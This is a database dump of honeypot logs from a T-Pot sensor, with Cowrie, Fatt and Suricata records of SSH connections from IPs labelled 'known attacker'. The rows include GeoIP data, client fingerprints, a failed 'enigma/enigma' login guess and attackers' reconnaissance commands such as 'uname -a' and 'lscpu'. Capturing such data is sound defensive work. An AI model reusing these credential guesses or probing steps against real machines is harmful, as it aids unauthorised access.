"......%.o..s.....q/......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20357	114.67.95.121	109.199.241.180	Cowrie	2021-09-20 14:02:53.443615+03	2021-09-20 14:15:02.273645+03	{"_id": "XwXfAnwBvYTbRNuEf_eD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "114.67.95.121", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "be5c8e8309ff", "@version": "1", "timestamp": "2021-09-20T11:02:53.443615Z", "@timestamp": "2021-09-20T11:02:53.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20358	114.67.95.121	109.199.241.180	Fatt	2021-09-20 14:02:53.442964+03	2021-09-20 14:15:02.274642+03	{"_id": "YAXfAnwBvYTbRNuEf_eD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "114.67.95.121", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49324, "dest_port": 22, "timestamp": "2021-09-20T11:02:53.442964", "@timestamp": "2021-09-20T11:02:53.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20359	114.67.95.121	109.199.241.180	Cowrie	2021-09-20 14:02:53.185197+03	2021-09-20 14:15:02.275642+03	{"_id": "YQXfAnwBvYTbRNuEf_eD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "114.67.95.121", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "be5c8e8309ff", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:02:53.185197Z", "@timestamp": "2021-09-20T11:02:53.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20360	114.67.95.121	109.199.241.180	Cowrie	2021-09-20 14:02:54.562058+03	2021-09-20 14:15:02.277643+03	{"_id": "ZAXfAnwBvYTbRNuEg_dt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "114.67.95.121", "eventid": "cowrie.login.failed", "message": "login attempt [enigma/enigma] failed", "session": "be5c8e8309ff", "@version": "1", "password": "enigma", "username": "enigma", "timestamp": "2021-09-20T11:02:54.562058Z", "@timestamp": "2021-09-20T11:02:54.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20361	114.67.95.121	109.199.241.180	Cowrie	2021-09-20 14:02:55.828865+03	2021-09-20 14:15:02.278642+03	{"_id": "ZQXfAnwBvYTbRNuEh_dV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "114.67.95.121", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "be5c8e8309ff", "@version": "1", "duration": 2.6440248489379883, "timestamp": "2021-09-20T11:02:55.828865Z", "@timestamp": "2021-09-20T11:02:55.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20362	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.010645+03	2021-09-20 14:15:02.279642+03	{"_id": "NgXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "91.200.124.7", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07808136940002441, "duplicate": true, "timestamp": "2021-09-20T11:02:21.010645Z", "@timestamp": "2021-09-20T11:02:21.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20363	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.63233+03	2021-09-20 14:15:02.28064+03	{"_id": "NQXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.632330Z", "@timestamp": "2021-09-20T11:02:21.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20364	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.829615+03	2021-09-20 14:15:02.281642+03	{"_id": "MgXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.829615Z", "@timestamp": "2021-09-20T11:02:21.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20365	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.869888+03	2021-09-20 14:15:02.283643+03	{"_id": "OQXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "91.200.124.7", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.04037618637084961, "duplicate": true, "timestamp": "2021-09-20T11:02:21.869888Z", "@timestamp": "2021-09-20T11:02:21.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20366	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.872884+03	2021-09-20 14:15:02.284643+03	{"_id": "OgXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "adb85be76cac", "@version": "1", "duration": 7.715149402618408, "timestamp": "2021-09-20T11:02:21.872884Z", "@timestamp": "2021-09-20T11:02:21.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20367	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.147923+03	2021-09-20 14:15:02.285661+03	{"_id": "MwXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.147923Z", "@timestamp": "2021-09-20T11:02:21.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20368	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.372587+03	2021-09-20 14:15:02.287614+03	{"_id": "MAXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.372587Z", "@timestamp": "2021-09-20T11:02:21.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20369	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.707832+03	2021-09-20 14:15:02.288613+03	{"_id": "MQXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "91.200.124.7", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07615828514099121, "duplicate": true, "timestamp": "2021-09-20T11:02:21.707832Z", "@timestamp": "2021-09-20T11:02:21.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20370	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.631773+03	2021-09-20 14:15:02.289613+03	{"_id": "OAXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.631773Z", "@timestamp": "2021-09-20T11:02:21.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20371	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.830153+03	2021-09-20 14:15:02.290642+03	{"_id": "LgXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.830153Z", "@timestamp": "2021-09-20T11:02:21.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20372	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.225129+03	2021-09-20 14:15:02.291642+03	{"_id": "LwXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "91.200.124.7", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07728767395019531, "duplicate": true, "timestamp": "2021-09-20T11:02:21.225129Z", "@timestamp": "2021-09-20T11:02:21.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20373	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.148477+03	2021-09-20 14:15:02.292643+03	{"_id": "NAXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.148477Z", "@timestamp": "2021-09-20T11:02:21.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20374	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.45053+03	2021-09-20 14:15:02.294646+03	{"_id": "NwXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "91.200.124.7", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07802915573120117, "duplicate": true, "timestamp": "2021-09-20T11:02:21.450530Z", "@timestamp": "2021-09-20T11:02:21.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20375	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:29.953964+03	2021-09-20 14:15:02.295642+03	{"_id": "QgXfAnwBvYTbRNuEJPfV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 63525, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2077606313037420, "@version": "1", "in_iface": "enp5s0", "src_port": 39332, "dest_port": 53, "timestamp": "2021-09-20T11:02:29.953964Z", "@timestamp": "2021-09-20T11:02:29.953Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
